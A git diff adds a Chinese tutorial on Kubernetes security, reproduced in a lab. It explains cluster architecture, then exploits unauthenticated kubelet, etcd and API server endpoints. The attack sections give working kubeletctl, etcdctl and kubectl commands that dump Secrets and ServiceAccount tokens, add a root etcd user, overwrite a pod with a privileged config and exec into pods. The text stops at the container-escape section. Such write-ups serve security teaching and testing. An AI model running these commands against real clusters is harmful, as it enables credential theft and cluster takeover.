| apache/httpcomponents-core rel/v4.4.11 | writeLine():232-256 | + +**题三(副作用时序):** +| 文件 | 仓库 / Tag | 关键行 | +|------|-----------|--------| +| `org/apache/commons/io/output/WriterOutputStream.java` | apache/commons-io 2.2 | decoder 字段:77, 构造函数:120/139/173 | +| `org/apache/commons/io/output/LockableFileWriter.java` | apache/commons-io 2.2 | 构造函数副作用:158-184 | + +## A.3 复现步骤 + +所有源码均可从 GitHub 公开仓库直接获取,无需鉴权: +```bash +# 题一:对比 JDK 8u121 与 8u131 的 FTP 修复 +curl -o FtpClient_8u121.java https://raw.githubusercontent.com/openjdk/jdk8u/jdk8u121-b13/jdk/src/share/classes/sun/net/ftp/impl/FtpClient.java +curl -o FtpClient_8u131.java https://raw.githubusercontent.com/openjdk/jdk8u/jdk8u131-b11/jdk/src/share/classes/sun/net/ftp/impl/FtpClient.java +diff FtpClient_8u121.java FtpClient_8u131.java + +# 题二:对比 HttpCore 4.4.11 与 4.4.12 的 ByteArrayBuffer 修复 +curl -o BA_4.4.11.java https://raw.githubusercontent.com/apache/httpcomponents-core/rel/v4.4.11/httpcore/src/main/java/org/apache/http/util/ByteArrayBuffer.java +curl -o BA_4.4.12.java https://raw.githubusercontent.com/apache/httpcomponents-core/rel/v4.4.12/httpcore/src/main/java/org/apache/http/util/ByteArrayBuffer.java +diff BA_4.4.11.java BA_4.4.12.java + +# 题三:commons-io 2.2 构造函数族 +curl -o WriterOutputStream.java https://raw.githubusercontent.com/apache/commons-io/2.2/src/main/java/org/apache/commons/io/output/WriterOutputStream.java +curl -o LockableFileWriter.java https://raw.githubusercontent.com/apache/commons-io/2.2/src/main/java/org/apache/commons/io/output/LockableFileWriter.java +``` + +--- + +> **声明**:本文内容仅用于安全研究、代码审计学习与防御教学。所有源码引用均来自官方公开仓库,漏洞利用部分基于公开的 CTF 谜题场景。请在授权环境下进行安全测试。 + +*整理自 Java-Puzzle 三道谜题的 writeup 与 OpenJDK / Apache HttpCore / Apache commons-io 源码级验证分析。* diff --git a/books/Kubernetes 集群未授权访问漏洞分析与容器逃逸横向移动.md b/books/Kubernetes 集群未授权访问漏洞分析与容器逃逸横向移动.md new file mode 100644 index 0000000..251e682 --- /dev/null +++ b/books/Kubernetes 集群未授权访问漏洞分析与容器逃逸横向移动.md @@ -0,0 +1,1286 @@ +# Kubernetes 集群未授权访问漏洞分析与容器逃逸横向移动 +> 来源:https://xz.aliyun.com/news/92492 + +前面废话比较多,只是作为前置知识作为了解,有AI生成的内容,后续会通过自己搭建的K8S环境进行复现 + + +# 一、Kubernetes(K8s)介绍 + + + +## 简介 + + +●Kubernetes(简称K8s)是Google开源的分布式容器编排平台,核心目标是解决大规模容器集群的“部署、调度、运维”三大核心难题 + +●当Docker容器数量从几个增长到数百、数千个时,手工管理会面临效率低下、资源浪费、故障恢复困难等问题,K8s通过自动化能力将容器集群的管理标准化、规模化 + +●可以延续“集装箱”类比: + +○Docker:将应用打包成“集装箱”(容器),保证环境一致性和可移植性 + +○K8s:打造“智能港口+物流调度系统”,负责“集装箱”的跨节点分配、动态扩容、故障替换、路径规划(网络访问)等全生命周期管理 + + +## 核心架构 + + +●K8s集群的“控制平面+节点”架构是实现分布式管理的基础,每个组件的职责与交互逻辑如下: + + +| 层级 | 核心组件 | 解释 | +| --- | --- | --- | +| 控制平面 | API Server | 集群唯一入口(默认端口6443),所有操作(创建Pod、授权)均通过REST API执行,需经过“认证-授权-准入控制”三步流程 | +| | etcd | 集群“数据库”,存储所有敏感信息(如Pod配置、ServiceAccount Token、集群状态),是集群的核心数据底座 | +| | Scheduler | 调度策略包含“预选(Filter)+优选(Score)”:先筛选满足资源需求(CPU/内存)、标签匹配的节点,再按剩余资源、亲和性规则评分,选择最优节点 | +| | Controller Manager | 包含多种控制器,例如Deployment控制器保证副本数,Node控制器监控节点状态,故障时触发Pod迁移 | +| 节点 | Kubelet | 节点“管家”,不仅执行容器创建/启停,还通过CNI插件配置网络、通过Cgroups限制资源,持续向API Server上报节点状态 | +| | Kube-proxy | 维护节点的iptables/ipvs规则,实现Service的负载均衡(如ClusterIP的端口转发、NodePort的端口映射) | +| | 容器运行时(CRI兼容) | 实际运行容器的组件(如:Docker、containerd、CRI-O),K8s通过CRI接口对接 | + + + +## 核心资源 + + +●K8s的资源对象是“声明式配置”的核心,每个资源对应特定的应用场景,关键资源的实操细节如下: + +○Pod:最小部署单元 + +■本质:一组共享网络(同一IP)、存储(Volume)、PID命名空间的容器集合,容器间可通过localhost通信 + +■ 实操关联:创建Pod需通过YAML文件定义(如nginx Pod的镜像、端口),执行`kubectl apply -f pod.yaml`提交,Kubelet接收指令后调用容器运行时拉取镜像创建容器 +■生命周期:从“Pending(调度中)”到“Running(运行中)”,故障时会被Controller Manager重建 + +○Deployment:无状态应用核心控制器 + +■ 核心能力:声明副本数(replicas)、滚动更新、版本回滚(`kubectl rollout undo`); +■ 示例:通过Deployment创建tomcat容器,可配置`securityContext: privileged: true`开启特权模式(但存在安全风险),并通过Volume挂载宿主机目录。 +○Service:稳定网络入口 + +■解决问题:Pod动态漂移(IP变化)导致访问不稳定 + +■类型: + +●ClusterIP:集群内部访问(默认); + +● NodePort:暴露节点端口(如30080),外部可通过`节点IP:NodePort`访问; +●LoadBalancer:对接云厂商负载均衡器(如阿里云SLB) + +■实操示例:通过YAML定义NodePort类型Service,可将Pod的8080端口映射到节点的30080端口,实现外部访问 + +○ServiceAccount与Token + +■ 作用:Pod访问集群资源的身份凭证,Token存储在`/var/run/secrets/kubernetes.io/serviceaccount/token`; +■ 权限关联:通过RBAC(基于角色的访问控制)绑定权限,如“hacker”ServiceAccount绑定`cluster-admin`角色后,拥有集群最高权限(文档中高权限Token的核心来源) +○ConfigMap与Secret + +■ConfigMap:存储非敏感配置(如应用的数据库地址、端口),可通过环境变量或Volume挂载到Pod + +■Secret:存储敏感信息(如密码、证书),数据会base64编码(文档中提及的ServiceAccount Token就是Secret的一种) + +○Namespace:集群隔离工具 + +■ 用途:按环境(开发/测试/生产)或团队划分资源,如`kube-system`(系统组件)、`default`(默认命名空间) +■隔离范围:资源命名隔离(不同Namespace可存在同名Pod)、资源配额隔离(通过Resource Quota限制CPU/内存使用) + +○Ingress:七层路由 + +■ 补充Service的不足:Service是四层(TCP/UDP)负载均衡,Ingress支持HTTP/HTTPS的域名路由(如`xxx.lazy.com`指向不同Service)、路径路由(如`/api`指向后端服务) + +## 核心工作流程(以创建一个Nginx Deployment并通过NodePort访问为例) + + + +### 步骤1:用户提交部署请求(声明式API调用) + + +● 用户通过`kubectl apply -f nginx-deploy.yaml`提交配置文件,YAML文件定义Deployment(管理Pod副本)和Service(NodePort暴露服务),YAML示例如下 + +```yaml +# Deployment:管理3个Nginx无状态副本 +apiVersion: apps/v1 +kind: Deployment +metadata: + name: nginx-deploy # Deployment资源名称 + namespace: default # 未指定时默认使用default命名空间 +spec: + replicas: 3 # 期望的Pod副本数 + selector: + matchLabels: + app: nginx-web # 标签选择器:匹配带有该标签的Pod + strategy: + rollingUpdate: # 默认滚动更新策略(可选,显式声明更规范) + maxSurge: 25% # 滚动更新时最多超出期望副本数25% + maxUnavailable: 25% # 滚动更新时最多不可用副本数25% + template: + metadata: + labels: + app: nginx-web # Pod的标签,必须与selector.matchLabels一致 + spec: + containers: + - name: nginx-container # 容器名称(唯一) + image: nginx:1.21 # 容器镜像 + ports: + - containerPort: 80 # 容器内监听的端口(仅声明,无网络暴露作用) + resources: # 可选,推荐声明资源限制 + requests: + cpu: 100m + memory: 128Mi + limits: + cpu: 200m + memory: 256Mi +--- +# Service:NodePort类型,为Pod提供稳定的网络访问入口 +apiVersion: v1 +kind: Service +metadata: + name: nginx-svc # Service资源名称 + namespace: default +spec: + type: NodePort # 服务类型:NodePort(集群外可通过节点IP+端口访问) + selector: + app: nginx-web # 标签选择器:匹配后端Pod + ports: + - port: 80 # Service在集群内的访问端口(ClusterIP端口) + targetPort: 80 # 转发到Pod/容器的端口(需与containerPort一致) + nodePort: 30080 # 节点暴露的端口(可选,未指定时K8s自动分配30000-32767范围内的端口) + protocol: TCP # 协议类型(默认TCP,显式声明更规范) +``` + + +● `kubectl`工具将 YAML 配置转换为REST API请求(POST/PUT),发送至K8s API Server(默认地址:https://:6443) +●请求内容包含:要创建的资源类型(Deployment/Service)、命名空间、规格(副本数、镜像、Service 类型等) + + +### 步骤2:API Server接收请求并执行“认证→授权→准入控制”三步校验 + + +●API Server是集群唯一入口,所有请求必须通过三层校验,缺一不可 + + +#### 认证(Authentication) + + +●验证请求发起者的身份,常见认证方式: + +○ 若为kubectl命令行操作:默认使用`~/.kube/config`中的客户端证书(`client-certificate`)+私钥(`client-key`),或`ServiceAccount Token` +○若为程序调用:通过Bearer Token、OIDC 令牌等方式认证 + +● 认证失败:API Server直接返回`401 Unauthorized`,请求终止 +● 认证成功:进入下一步授权流程,同时记录请求者的身份(如`kubernetes-admin`) + +#### 授权(Authorization) + + +●基于RBAC(基于角色的访问控制)规则,检查认证通过的用户是否有“在 default 命名空间创建Deployment/Service”的权限: + +○ 核心校验逻辑:用户是否绑定了包含`apps/deployments/create`、`core/services/create`权限的Role/ClusterRole +○ 例如:`cluster-admin`角色包含所有资源的所有操作权限,普通用户需显式授权 +● 授权失败:返回`403 Forbidden`,请求终止 +●授权成功:进入下一步准入控制流程 + + +#### 准入控制(Admission Control) + + +●对请求的资源配置进行“前置校验 / 修改”,分为两种类型: + +○验证型准入插件:校验配置合法性(如镜像是否在企业白名单、副本数是否超出命名空间配额、标签是否符合规范); + +○突变型准入插件:自动修改配置(如:注入默认的资源限制、添加Sidecar容器、为Pod自动挂载ServiceAccount Volume); + +● 常见核心插件:`NamespaceLifecycle`(校验命名空间是否存在)、`ResourceQuota`(校验资源配额)、`ValidatingAdmissionWebhook`(自定义校验规则) +● 准入控制失败:返回`400 Bad Request`,请求终止 +● 准入控制成功:API Server将Deployment和Service的配置写入etcd(集群唯一数据存储),并返回`201 Created` + +### 步骤3:Controller Manager触发Pod创建逻辑 + + +● etcd中存储的Deployment配置会被`kube-controller-manager`监听(内置Deployment控制器),执行以下操作: +○Deployment控制器检测到“期望的Pod副本数(此处示例为3个)”与“当前集群中匹配标签的Pod数(0个)”不一致 + +○ Deployment控制器自动创建`ReplicaSet`资源(名称格式:`nginx-deploy-<随机字符串>`),ReplicaSet的核心作用是保证指定数量的Pod副本始终运行 +○ReplicaSet控制器监听etcd中的ReplicaSet配置,检测到副本数不满足后,向 API Server提交“创建3个Pod”的请求 + +○ API Server验证Pod配置后,将Pod对象写入etcd(此时Pod的`spec.nodeName`为空,处于“未调度”状态) + +### 步骤 4:Scheduler完成Pod调度(分配目标节点) + + +● `kube-scheduler`(调度器)通过`Informer`机制监听etcd中“未调度 Pod”(`spec.nodeName`为空),执行“预选 + 优选”两步调度: + +#### 预选(Filter):筛选符合条件的节点 + + +●排除不符合硬规则的节点,例如: + +○节点是否存活(Ready状态); + +○ 节点剩余CPU / 内存是否满足Pod的`resources.requests`; +○ 节点是否有Pod亲和性 / 反亲和性冲突(如:Pod要求必须部署在`node-1`); +○节点是否有污点(Taint)且 Pod 无对应的容忍(Toleration); + +● 若所有节点都不符合,Pod会一直处于`Pending`状态,调度器记录事件:`FailedScheduling` + +#### 优选(Score):对预选通过的节点打分 + + +●对符合条件的节点按“优选策略”打分(0-100分),例如: + +○ `LeastRequestedPriority`:剩余资源越多的节点得分越高(优先调度到资源空闲的节点) +○ `NodeAffinityPriority`:匹配 Pod 节点亲和性规则的节点加分 +○ `BalancedResourceAllocation`:CPU / 内存使用率越均衡的节点得分越高 +●选择得分最高的节点(若配置“反亲和性”,3 个Pod会被调度到不同节点) + + +#### 确认调度结果 + + +● 调度器将Pod的`spec.nodeName`字段更新为目标节点名称(如:`node-1、node-2、node-3`),并写入`etcd` +● API Server将调度结果同步给目标节点的`kubelet`组件 + +### 步骤5:目标节点的Kubelet创建Pod和容器 + + +● 每个节点的`kubelet`会定期向API Server发起请求,监听“分配给当前节点的Pod”,接收到Pod调度指令后,执行以下操作: +○预处理阶段: + +■校验节点本地资源(CPU / 内存)是否满足Pod需求 + +■挂载Pod所需的 Volume(如 ConfigMap、Secret、EmptyDir) + +■ 通过CNI(容器网络接口)插件(如 Calico/Flannel)为 Pod 创建网络命名空间,分配Pod IP(如`10.244.2.5`),配置跨节点通信规则 +○容器创建阶段: + +■ Kubelet通过CRI(容器运行时接口)调用containerd,执行镜像拉取:`containerd pull nginx:1.21` +■拉取完成后,containerd 创建容器运行时沙箱(Sandbox,通常是pause容器),Pod内所有容器共享沙箱的网络 / IPC命名空间 + +■创建nginx容器,配置容器的端口、资源限制、环境变量等 + +○状态上报阶段: + +■ Kubelet启动容器后,将Pod状态更新为`Running`,并通过API Server同步到etcd; +■ Kubelet 持续监控容器状态(通过容器运行时的监控接口),若容器崩溃,按Pod的`restartPolicy`(默认Always)重启容器 + +### 步骤6:Kube-proxy配置Service网络规则,实现服务暴露 + + +● `kube-proxy`运行在每个节点上,监听etcd中的Service配置(nginx-svc),根据 Service类型(NodePort)配置网络转发规则(默认iptables模式,也可配置ipvs模式): +○ 为Service分配ClusterIP:API Server为nginx-svc分配集群内唯一的虚拟 IP(如`10.96.0.10`); +○配置 iptables 规则: + +■ 在节点上创建`KUBE-SVC-<哈希值>`链:将访问`ClusterIP:80`的流量转发到后端3个Pod的`IP:80`; +■ 创建`KUBE-NODEPORTS`链:将访问节点`IP:30080`的流量转发到`ClusterIP:80`; +■配置负载均衡规则:iptables通过随机 / 轮询方式将流量分发到不同Pod + +○端点同步: + +■ `kube-proxy`通过EndpointSlice(替代传统Endpoint)监听 Pod 的存活状态,若某个Pod故障(如:livenessProbe失败),自动将其从 iptables 转发规则中移除 + +### 步骤7:外部访问Nginx服务 + + +● 客户端可通过任意节点的`IP:30080`访问Nginx服务: +○ 例如:节点IP为`192.168.1.100`,访问`http://192.168.1.100:30080` +○ 流量路径:客户端→`节点 IP:30080`→iptables规则转发→`ClusterIP:80`→后端`Pod IP:80`→nginx容器 + +## K8s与Docker的核心区别 + + + +| 维度 | Docker | K8s | +| --- | --- | --- | +| 技术定位 | 容器化引擎(打包+单机运行)+ 简单编排(Docker Compose) | 分布式容器编排平台(跨节点集群管理) | +| 核心解决问题 | 解决“环境一致性”“单机容器运行”问题 | 解决“大规模容器调度”“集群高可用”“跨节点网络”等分布式问题 | +| 权限与安全 | 单机容器权限控制(如--privileged开启特权模式),无集群级授权机制 | 集群级权限控制(RBAC)、ServiceAccount Token认证、准入控制(镜像白名单) | +| 网络能力 | 单机容器网络(Bridge/Host模式),跨主机通信需手动配置 | CNI插件实现跨节点Pod通信,Service提供稳定入口,Ingress支持七层路由 | +| 存储管理 | 单机Volume(依赖宿主机路径),无动态供给能力 | PV/PVC解耦存储供应与使用,支持分布式存储对接,动态分配存储资源 | +| 扩缩容 | 需手动修改Docker Compose文件,重启容器,无自动扩缩容 | 支持手动扩缩容(kubectl scale)和自动扩缩容(HPA),秒级响应 | +| 故障恢复 | 容器崩溃需手动重启,无节点故障转移能力 | Pod自愈、节点故障时Pod自动迁移,集群级高可用保障 | +| 实操场景 | 本地开发、单机测试(如文档中docker run启动nginx容器) | 生产环境、大规模部署(如文档中多节点集群部署tomcat、通过Token管理权限) | + + + +# 二、Kubernetes Kubelet未授权访问 + + + +## 漏洞简介 + + +●Kubelet未授权访问漏洞是因Kubelet组件认证/授权配置不当,导致未认证主体可访问其API端口(核心端口为:10250、10255),进而窃取集群信息、执行容器命令甚至控制节点的高危配置缺陷 + +●Kubelet在K8S节点上负责Pod / 容器生命周期管理、状态上报与指令执行,对外提供10250(HTTPS可写API,默认需认证)与10255(HTTP只读 API,默认关闭)两个核心端口 + +● 漏洞核心成因:由于`/var/lib/kubelet/config.yaml`文件配置不当,开启了匿名访问(`anonymous.enabled: true`)且授权策略设为`AlwaysAllow`,而默认情况下kubelet监听的10250端口没有进行任何认证鉴权,就会导致未授权主体绕过认证/授权直接调用API +○ 靶机改完配置文件后要执行`systemctl daemon-reload和systemctl restart kubelet`重启一下服务 + +```yaml +apiVersion: kubelet.config.k8s.io/v1beta1 +authentication: + anonymous: + enabled: true # 关键修改:从 false 改为 true,允许匿名访问(解决认证阶段拒绝问题) + webhook: + cacheTTL: 0s + enabled: false # 关键修改:从 true 改为 false,关闭 webhook 认证 + x509: + clientCAFile: /etc/kubernetes/pki/ca.crt +authorization: + mode: AlwaysAllow # 关键修改:从 Webhook 改为 AlwaysAllow,允许所有授权请求 + webhook: + cacheAuthorizedTTL: 0s + cacheUnauthorizedTTL: 0s +cgroupDriver: systemd +clusterDNS: +- 10.96.0.10 +clusterDomain: cluster.local +cpuManagerReconcilePeriod: 0s +evictionPressureTransitionPeriod: 0s +fileCheckFrequency: 0s +healthzBindAddress: 127.0.0.1 +healthzPort: 10248 +httpCheckFrequency: 0s +imageMinimumGCAge: 0s +kind: KubeletConfiguration +logging: {} +nodeStatusReportFrequency: 0s +nodeStatusUpdateFrequency: 0s +resolvConf: /run/systemd/resolve/resolv.conf +rotateCertificates: true +runtimeRequestTimeout: 0s +staticPodPath: /etc/kubernetes/manifests +streamingConnectionIdleTimeout: 0s +syncFrequency: 0s +volumeStatsAggPeriod: 0s +``` + +## 漏洞利用 + + +●访问kubelet的10250服务,发现存在未授权 + + +```yaml +https://ip:10250/pods +... +``` + +![](https://imglink.cc/cdn/c9GvQ24iL7.png) + + + +●使用kubeletctl工具进行漏洞利用 + +○ 下载地址:[https://github.com/cyberark/kubeletctl/releases/](https://github.com/cyberark/kubeletctl/releases/) +○列出kubelet的所有Pod + + +```yaml +kubeletctl.exe pods -i --server 10.10.10.144 +``` + +![](https://i.im.ge/QMVBu21/p2m-ed8b5582cb.png) + + + + +``` +- 搜索容器里的Service Account +``` + +```yaml +kubeletctl.exe scan token -i --server 10.10.10.144 +``` + +![](https://i.im.ge/QMVBFwf/p2m-2ba2d3c142.png) + + + + +``` +- 执行命令 +``` + +```yaml +kubeletctl.exe exec hostname -c kube-apiserver -p kube-apiserver-k8s-master -n kube-system --server 10.10.10.144 +kubeletctl.exe exec "/usr/local/bin/kube-apiserver --version" -c kube-apiserver -p kube-apiserver-k8s-master -n kube-system --server 10.10.10.144 +``` + +![](https://i.im.ge/QMVBXAp/p2m-1edca5cebd.png) + + + + +# 三、ETCD端口未授权访问 + + + +## 漏洞简介 + + +●在安装完K8S后,默认会安装etcd组件,etcd是一个高可用的key-value数据库,它为K8S集群提供底层数据存储,保存了整个集群的状态 + +●Kubernetes集群的etcd服务端口 + +○默认2379(TCP)用于客户端API端口(对外提供数据读写) + +○默认2380(TCP)集群间对等通信端口(节点同步数据) + +●etcd存储了Kubernetes集群的很多关键数据 + +○所有Secrets + +■数据库密码、API 令牌、OAuth凭据、TLS证书私钥、Docker仓库密码等 + +■攻击者可以直接提取这些secret,用于横向移动、入侵后端服务或窃取数据 + +○所有ConfigMaps: 应用的配置文件,可能包含敏感信息 + +○所有集群状态: + +■Pod、Service、Deployment的定义 + +■通过篡改这些数据,攻击者可以删除、创建或修改任何资源,例如:将一个正常Pod的镜像替换为恶意镜像,或者在集群中部署一个拥有特权、挂载主机路径的恶意Pod,从而完全控制宿主机节点 + +○ServiceAccount令牌: 与Kubernetes API交互的凭据,拥有特定RBAC权限 + +○网络策略、RBAC 规则: 攻击者可以修改或删除这些安全策略,为后续渗透铺平道路 + +○... + +● 如果目标在启动etcd的时候`/etc/kubernetes/manifests/etcd.yaml`文件配置不当,没有开启证书认证选项,且2379端口直接对外开放的话,就会导致存在etcd未授权访问漏洞,比如以下配置 + +```yaml +apiVersion: v1 +kind: Pod +metadata: + annotations: + kubeadm.kubernetes.io/etcd.advertise-client-urls: https://10.10.10.144:2379 # 保留HTTPS供kube-apiserver使用 + creationTimestamp: null + labels: + component: etcd + tier: control-plane + name: etcd + namespace: kube-system +spec: + containers: + - command: + - etcd + - --advertise-client-urls=https://10.10.10.144:2379 + - --cert-file=/etc/kubernetes/pki/etcd/server.crt + - --key-file=/etc/kubernetes/pki/etcd/server.key + - --trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt + # 关闭客户端证书认证(关键:允许无证书访问) + - --client-cert-auth=false + - --data-dir=/var/lib/etcd + - --initial-advertise-peer-urls=https://10.10.10.144:2380 + - --initial-cluster=k8s-master=https://10.10.10.144:2380 + - --peer-cert-file=/etc/kubernetes/pki/etcd/peer.crt + - --peer-client-cert-auth=true + - --peer-key-file=/etc/kubernetes/pki/etcd/peer.key + - --peer-trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt + # 同时监听HTTPS(2379)和HTTP(2382),2382端口开放未授权访问 + - --listen-client-urls=https://127.0.0.1:2379,https://10.10.10.144:2379,http://0.0.0.0:2382 + - --listen-metrics-urls=http://127.0.0.1:2381 + - --listen-peer-urls=https://10.10.10.144:2380 + - --name=k8s-master + - --snapshot-count=10000 + image: registry.aliyuncs.com/google_containers/etcd:3.4.13-0 + imagePullPolicy: IfNotPresent + livenessProbe: + failureThreshold: 8 + httpGet: + host: 127.0.0.1 + path: /health + port: 2381 + scheme: HTTP + initialDelaySeconds: 10 + periodSeconds: 10 + timeoutSeconds: 15 + name: etcd + resources: {} + startupProbe: + failureThreshold: 24 + httpGet: + host: 127.0.0.1 + path: /health + port: 2381 + scheme: HTTP + initialDelaySeconds: 10 + periodSeconds: 10 + timeoutSeconds: 15 + volumeMounts: + - mountPath: /var/lib/etcd + name: etcd-data + - mountPath: /etc/kubernetes/pki/etcd + name: etcd-certs + hostNetwork: true + priorityClassName: system-node-critical + volumes: + - hostPath: + path: /etc/kubernetes/pki/etcd + type: DirectoryOrCreate + name: etcd-certs + - hostPath: + path: /var/lib/etcd + type: DirectoryOrCreate + name: etcd-data +status: {} +``` + +## 漏洞利用(v3举例) + + +● 工具下载:[https://github.com/etcd-io/etcd/releases](https://github.com/etcd-io/etcd/releases) +●判断2382端口是否存在未授权访问 + + +```yaml +http://ip:2382/version +``` + +![](https://i.im.ge/QMVBlpP/p2m-d91eb550e9.png) + + + +●查看节点状态 + + +```yaml +etcdctl.exe --endpoints=http://10.10.10.144:2382 endpoint status +``` + +![](https://i.im.ge/QMVBdc0/p2m-2d73aa9b81.png) + + + +●获取键值 + +○这里的重点是读取Secret键的Token,可能可以获取高权限的Token,配合第六节的知识点进行K8S接管 + + +```yaml +// 完整读取ETCD中所有键的名称 + 对应数值 +etcdctl.exe --endpoints=http://10.10.10.144:2382 get / --prefix + +// 数据过多,可以导出到文件 +etcdctl.exe --endpoints=http://10.10.10.144:2382 get / --prefix > 1.txt + +// 只输出键的名称,不输出键对应的数值:ETCD 中每个键都有“键名:数值”的结构,比如:/registry/secrets/kube-system/token对应一串加密的Token),加这个参数会简化输出,只显示键名,方便快速查看ETCD存储的所有数据结构,避免数值内容过多干扰判断 +etcdctl.exe --endpoints=http://10.10.10.144:2382 get / --prefix --keys-only + +// 查找所有Secret的键名 +etcdctl.exe --endpoints=http://10.10.10.144:2382 get /registry/secrets/ --prefix --keys-only + +// 查看所有Secret的键名 + 完整数据 +etcdctl.exe --endpoints=http://10.10.10.144:2382 get /registry/secrets/ --prefix + +// 读取指定键名的完整数据 +etcdctl.exe --endpoints=http://10.10.10.144:2382 get /registry/secrets/default/default-token-qchs9 + +// 读取Pod数据 +etcdctl.exe --endpoints=http://10.10.10.144:2382 get /registry/pods/ --prefix --keys-only +``` + +![](https://i.im.ge/QMVBqeT/p2m-9ee84e7daf.png) + + + +●添加用户 + + +```yaml +// 添加一个名为Lazy的用户,根据提示设置密码(输入两次) +etcdctl.exe --endpoints=http://10.10.10.144:2382 user add Lazy +``` + +![](https://i.im.ge/QMVBSiW/p2m-49f56d6460.png) + + + +●查看用户 + + +```yaml +// 返回空,证明没有用户 +etcdctl.exe --endpoints=http://10.10.10.144:2382 user list +``` + +![](https://i.im.ge/QMVBOKm/p2m-75d2100b55.png) + + + +●赋予用户权限 + + +```yaml +// 赋予Lazy这个用户root权限 +etcdctl.exe --endpoints=http://10.10.10.144:2382 user grant-role Lazy root +``` + +![](https://i.im.ge/QMVB2lr/p2m-5deaf4a914.png) + + + +●查看用户权限 + + +```yaml +// ,查看Lazy用户的权限,Roles字段显示空则表示无权限 +etcdctl.exe --endpoints=http://10.10.10.144:2382 user get Lazy +``` + +![](https://i.im.ge/QMVBa7c/p2m-fdf24b8d29.png) + + + +●删除用户 + + +```yaml +// 删除Lazy用户 +etcdctl.exe --endpoints=http://10.10.10.144:2382 user delete Lazy +``` + +![](https://i.im.ge/QMVB7CL/p2m-231697b72c.png) + + + +●将恶意配置写入ETCD,覆盖原始Pod数据 + +○通过get可以获取Pod的详细信息(Windows下执行会乱码) + + +```yaml +etcdctl.exe --endpoints=http://10.10.10.144:2382 --write-out=json get /registry/pods/default/escape-pod > malicious-pod.txt +``` + +![](https://i.im.ge/QMVBU6a/p2m-01e7dacd90.png) + + + +``` +- 构造恶意Pod配置:将目标Pod修改完以后(比如:添加`privileged: true`,使得后续能够通过特权模式进行容器逃逸)将信息保存到`malicious-pod.txt`中 +- 将恶意配置写入ETCD(覆盖原始Pod数据) +``` + +```yaml +// 读取恶意配置文件内容,写入ETCD(覆盖原Pod) +$maliciousConfig = Get-Content -Path "malicious-pod.txt" -Raw + +etcdctl.exe --endpoints=http://10.10.10.144:2382 put /registry/pods/default/nginx-pod $maliciousConfig +``` + +●此时可以进入这个恶意Pod,然后逃逸到宿主机 + + +# 四、K8s API Server未授权 + + + +## 漏洞简介 + + +●API Server是整个K8S集群的核心入口,所有组件(如:kubelet、kube-controller-manager)和用户的操作请求(如:创建Pod、查询资源)都必须通过它处理 + + +![](https://i.im.ge/QMVBDpG/p2m-6b0bfe8b64.png) + + + +●未授权访问的本质是认证环节失效或授权环节完全放行,导致攻击者无需提供合法身份凭证(如:token、证书),即可绕过权限检查操作集群资源: + +○ 认证(Authentication):验证请求者是谁,若`/etc/kubernetes/manifests/kube-apiserver.yaml`中配置开启`anonymous-auth=true`,则允许匿名用户发送请求(无需任何凭证) +○ 授权(Authorization):验证请求者能做什么,若若`/etc/kubernetes/manifests/kube-apiserver.yaml`中配置授权模式为`AlwaysAllow`(默认为`Node,RBAC`),则无论认证结果如何,所有请求都会被直接放行 + +![](https://i.im.ge/QMVBL2x/p2m-12807e43c6.png) + + + +●API Server默认会开启两个端口(低版本):Insecure Port和Secure Port + +○Insecure Port + +■ 标识为`--insecure-port`,值默认为0,表示此端口默认关闭,如果需要开启HTTP非安全端口模式,可以把`--insecure-port`的值设置为8080 +■ 默认IP是本地主机,标识为`--insecure-bind-address` +■在HTTP中没有认证和授权检查 + + +![](https://i.im.ge/QMVB9cz/p2m-717399bb16.png) + + + + +``` +- Secure Port + * 标识为`--secure-port`,默认端口为6443 + * 认证方式:令牌/客户端证书 +``` + +![](https://i.im.ge/QMVB50S/p2m-9fb73ecc43.png) + + + +● 在低版本的K8S中,如果`/etc/kubernetes/manifests/kube-apiserver.yaml`有如下配置,则可能存在未授权访问漏洞 +○ `--anonymous-auth=true`:允许任何没有提供身份凭证的请求以匿名用户身份发送到API Server,跳过身份验证的环节 +○ `--authorization-mode=AlwaysAllow`:无论请求者是谁(包括匿名用户)、请求操作是什么,API Server都会直接放行,完全绕过授权检查环节 +○ `--insecure-port=8080`:K8S API Server默认的6443安全端口(HTTPS协议)要求所有请求必须经过TLS加密,且强制验证客户端的身份凭证,而非安全端口使用明文HTTP协议,且默认不强制要求客户端提供任何身份凭证,此处设置相当于主动启用了这个“无加密、无强制认证”的端口,导致可以绕过API Server最基础的TLS加密和凭证校验机制,无需处理HTTPS证书验证,也无需准备合法的身份凭证,只需直接向8080端口发送明文HTTP请求,就能与API Server建立通信 +○ `--insecure-bind-address=0.0.0.0`:这个参数决定了8080端口的网络监听范围,如果该参数设为127.0.0.1,那么8080端口只能被API Server所在节点的本地进程访问,外部主机(包括集群内其他节点、外网主机)无法连接到该端口,但设为0.0.0.0后,8080端口会对外暴露到该节点的所有网络(如内网、公网),任何能访问该节点 IP的攻击者都能直接连接到8080端口 + +```yaml +开启匿名访问:--anonymous-auth=true +关闭授权校验:--authorization-mode=AlwaysAllow +暴露不安全端口:--insecure-port=8080、--insecure-bind-address=0.0.0.0 +``` + +![](https://i.im.ge/QMVBje6/p2m-0432355530.png) + + + + +## 漏洞验证 + + +●直接访问8080端口,可以未授权访问API接口信息 + + +![](https://i.im.ge/QMVBhKJ/p2m-5b7cd79122.png) + + + +● 可以获取`service-account-token` + +```cpp +http://10.10.10.184:8080/api/v1/namespaces/kube-system/secrets/ +``` + +![](https://i.im.ge/QMVB0ly/p2m-dfe2160c2d.png) + + + +●还可以执行包括但不仅限于以下操作 + +○ 工具下载:[https://cdn.dl.k8s.io/release/v1.35.0/bin/windows/amd64/kubectl.exe](https://cdn.dl.k8s.io/release/v1.35.0/bin/windows/amd64/kubectl.exe) +○查询默认命名空间下所有Pod + + +```cpp +kubectl.exe -s 10.10.10.184:8080 get pods +``` + +![](https://imglink.cc/cdn/m1KtuS5zgq.png) + + + + +``` +- 查询集群所有节点 +``` + +```cpp +kubectl.exe -s 10.10.10.184:8080 get nodes +``` + +![](https://imglink.cc/cdn/ZRdXuAu9qG.png) + + + + +``` +- 查询所有命名空间下的Pod +``` + +```cpp +kubectl.exe -s 10.10.10.184:8080/ get pods --all-namespaces=true +``` + +![](https://i.im.ge/QMVBwDF/p2m-bfc4dabd48.png) + + + + +``` +- 进入`default`命名空间的`escape-pod`这个Pod执行bash命令 +``` + +```cpp +kubectl.exe -s 10.10.10.184:8080 --namespace=default exec -it escape-pod -- bash +``` + +![](https://imglink.cc/cdn/8UjckbbooS.png) + + + + +# 五、容器逃逸(挂载根文件系统) + + + +## 核心原理 